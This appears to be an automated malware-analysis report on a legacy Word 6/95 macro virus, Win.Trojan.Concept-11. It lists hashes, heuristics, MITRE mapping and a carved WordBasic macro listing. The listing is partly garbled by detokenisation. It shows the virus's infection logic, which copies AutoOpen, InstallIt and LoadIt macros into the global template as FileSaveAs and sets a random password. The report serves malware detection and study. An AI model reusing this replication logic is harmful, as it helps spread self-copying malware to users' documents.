Win.Trojan.Concept-11 — Office (OLE) malware analysis

Static analysis result for SHA-256 b4ac152bf0f24a5e…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: 1b80b5ae2f9bb1ab80e397149f955363 SHA-1: 718ff92d665ec0d314a0a90dc97763f681efea83 SHA-256: b4ac152bf0f24a5e0c4920686b0e3f7df571398fe9456ea8601029c6da364226
102 Risk Score

Malware Insights

Win.Trojan.Concept-11 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by ClamAV as Win.Trojan.Concept-11. The document body contains markers and function names typical of older macro malware, suggesting its primary function is to execute embedded malicious Visual Basic code. The presence of 'RSN MACRO VIRUS' and specific function names like 'AutoOpen', 'LoadIt', and 'InstallIt' strongly indicate a macro-based infection vector.

Heuristics 3

  • ClamAV: Win.Trojan.Concept-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Concept-11
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1663 bytes
SHA-256: 31b07717568e7f2950a5909c3b2dfa302440f301e569e7de033f745cb5117a68
Preview script
First 1,000 lines of the extracted script
18796
REM  Written by HNL
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "FileSaveAs"
bInstalled = 1
i
bInstalled
REM add FileSaveAs and copies of AutoOpen and FileSaveAs.
iWW6IInstance = @cmd8006 @cmd814d "WW6Infector"
sMe$ = @cmd8025
sMacro$ = sMe$ = ":InstallIt"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = sMe$ = ":InstallIt"
@cmd80c2 sMacro$ , "Global:InstallIt"
sMacro$ = sMe$ = ":LoadIt"
@cmd80c2 sMacro$ , "Global:LoadIt"
@cmd8046 "WW6I" , @cmd8007 iWW6IInstance = 1
num = @cmd8002 @cmd800e 100 25 = 25
password$ = @cmd80eb @cmd8007 @cmd8002 @cmd800e 100 1 = 1
num 90
@cmd00d1 = 1 , = "10" , = password$
@cmd0053
@cmd00d1 = 0
REM  Written by HNL
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "FileSaveAs"
bInstalled = 1
i
bInstalled
REM add FileSaveAs and copies of AutoOpen and FileSaveAs.
iWW6IInstance = @cmd8006 @cmd814d "WW6Infector"
sMe$ = @cmd8025
sMacro$ = sMe$ = ":InstallIt"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = sMe$ = ":InstallIt"
@cmd80c2 sMacro$ , "Global:InstallIt"
sMacro$ = sMe$ = ":LoadIt"
@cmd80c2 sMacro$ , "Global:LoadIt"
@cmd8046 "WW6I" , @cmd8007 iWW6IInstance = 1
num = @cmd8002 @cmd800e 100 25 = 25
password$ = @cmd80eb @cmd8007 @cmd8002 @cmd800e 100 1 = 1
num 90
@cmd00d1 = 1 , = "10" , = password$
@cmd0053
@cmd00d1 = 0
MAIN
dlg @cmd0054
, - * bail
dlg
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:LoadIt" , sTMacro$
sTMacro$ = sMe$ = ":LoadIt"
@cmd80c2 "Global:LoadIt" , sTMacro$
sTMacro$ = sMe$ = ":InstallIt"
@cmd80c2 "Global:InstallIt" , sTMacro$
@cmd0054 dlg
* Done
25625 Err 102
@cmd0054 dlg

Open this report in the interactive analyzer, or submit your own file for analysis.